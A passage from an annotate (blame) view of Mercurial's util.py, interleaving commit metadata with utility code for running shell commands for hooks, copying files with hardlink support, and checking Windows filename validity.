3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1171 return _hgexecutable |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1172 |
14229
85fd8402cbc4
rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents:
14228
diff
changeset
|
1173 def _sethgexecutable(path): |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1174 """set location of the 'hg' executable""" |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1175 global _hgexecutable |
5062
3d35c8cb5eb4
Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4832
diff
changeset
|
1176 _hgexecutable = path |
4686
849f011dbf79
Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
4673
diff
changeset
|
1177 |
26450
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1178 def _isstdout(f): |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1179 fileno = getattr(f, 'fileno', None) |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1180 return fileno and fileno() == sys.__stdout__.fileno() |
1138e1d05207
util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents:
26392
diff
changeset
|
1181 |
30736
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1182 def shellenviron(environ=None): |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1183 """return environ with optional override, useful for shelling out""" |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1184 def py2shell(val): |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1185 'convert python object into string that is useful to shell' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1186 if val is None or val is False: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1187 return '0' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1188 if val is True: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1189 return '1' |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1190 return str(val) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1191 env = dict(encoding.environ) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1192 if environ: |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1193 env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1194 env['HG'] = hgexecutable() |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1195 return env |
d9e5b0aeeb90
util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents:
30669
diff
changeset
|
1196 |
31108
3f8f53190d6a
chg: deduplicate error handling of ui.system()
Yuya Nishihara <yuya@tcha.org>
parents:
31074
diff
changeset
|
1197 def system(cmd, environ=None, cwd=None, out=None): |
1882
c0320567931f
merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1880
diff
changeset
|
1198 '''enhanced shell command execution. |
c0320567931f
merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1880
diff
changeset
|
1199 run with environment maybe modified, maybe in different dir. |
508 | 1200 |
11469
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1201 if out is specified, it is assumed to be a file-like object that has a |
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1202 write() method. stdout and stderr will be redirected to out.''' |
13439
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1203 try: |
30473
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
1204 stdout.flush() |
13439
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1205 except Exception: |
d724a69309e0
util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents:
13400
diff
changeset
|
1206 pass |
13188
6c9345f9edca
util: concentrate quoting knowledge to windows.py quotecommand()
Steve Borho <steve@borho.org>
parents:
13128
diff
changeset
|
1207 cmd = quotecommand(cmd) |
32886
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1208 env = shellenviron(environ) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1209 if out is None or _isstdout(out): |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1210 rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1211 env=env, cwd=cwd) |
11469
c37f35d7f2f5
http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents:
11297
diff
changeset
|
1212 else: |
32886
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1213 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1214 env=env, cwd=cwd, stdout=subprocess.PIPE, |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1215 stderr=subprocess.STDOUT) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1216 for line in iter(proc.stdout.readline, ''): |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1217 out.write(line) |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1218 proc.wait() |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1219 rc = proc.returncode |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1220 if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
19b0fd4b5570
plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents:
32816
diff
changeset
|
1221 rc = 0 |
9517
4368f582c806
util.system: Use subprocess instead of os.system
Mads Kiilerich <mads@kiilerich.com>
parents:
9508
diff
changeset
|
1222 return rc |
1880
05c7d75be925
fix broken environment save/restore when a hook runs.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1877
diff
changeset
|
1223 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1224 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1225 '''wrap a function with code to check for calling errors''' |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1226 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1227 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1228 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1229 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1230 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1231 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1232 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1233 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1234 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1235 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1236 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1237 _hardlinkfswhitelist = { |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1238 'btrfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1239 'ext2', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1240 'ext3', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1241 'ext4', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1242 'hfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1243 'jfs', |
35511
d8f408d999f9
util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents:
35509
diff
changeset
|
1244 'NTFS', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1245 'reiserfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1246 'tmpfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1247 'ufs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1248 'xfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1249 'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1250 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1251 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1252 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1253 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1254 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1255 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1256 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1257 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1258 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1259 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1260 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1261 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1262 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1263 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1264 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1265 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1266 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1267 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1268 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1269 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1270 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1271 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1272 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1273 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1274 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1275 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1276 hardlink = False |
31577 | 1277 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1278 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1279 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1280 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1281 except (IOError, OSError): |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1282 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1283 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1284 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1285 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1286 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1287 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1288 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1289 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1290 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1291 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1292 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1293 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1294 shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1295 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1296 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1297 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1298 # stat of copied file is ambiguous to original one |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1299 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1300 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1301 except shutil.Error as inst: |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1302 raise Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1303 |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1304 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1305 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1306 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1307 |
31718
bf64449b2779
hardlink: extract topic text logic of copyfiles
Jun Wu <quark@fb.com>
parents:
31678
diff
changeset
|
1308 gettopic = lambda: hardlink and _('linking') or _('copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1309 |
1207 | 1310 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1311 if hardlink is None: |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1312 hardlink = (os.stat(src).st_dev == |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1313 os.stat(os.path.dirname(dst)).st_dev) |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1314 topic = gettopic() |
1207 | 1315 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1316 for name, kind in listdir(src): |
1207 | 1317 srcname = os.path.join(src, name) |
1318 dstname = os.path.join(dst, name) | |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1319 def nprog(t, pos): |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1320 if pos is not None: |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1321 return progress(t, pos + num) |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1322 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1323 num += n |
1207 | 1324 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1325 if hardlink is None: |
31720
dea2a17cbfd0
hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents:
31719
diff
changeset
|
1326 hardlink = (os.stat(os.path.dirname(src)).st_dev == |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1327 os.stat(os.path.dirname(dst)).st_dev) |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1328 topic = gettopic() |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1329 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1330 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1331 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1332 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1333 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1334 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1335 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1336 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1337 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1338 num += 1 |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1339 progress(topic, num) |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1340 progress(topic, None) |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1341 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1342 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1343 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1344 _winreservednames = { |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1345 'con', 'prn', 'aux', 'nul', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1346 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1347 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1348 } |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1349 _winreservedchars = ':*?"<>|' |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1350 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1351 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1352 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1353 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1354 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1355 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1356 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1357 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
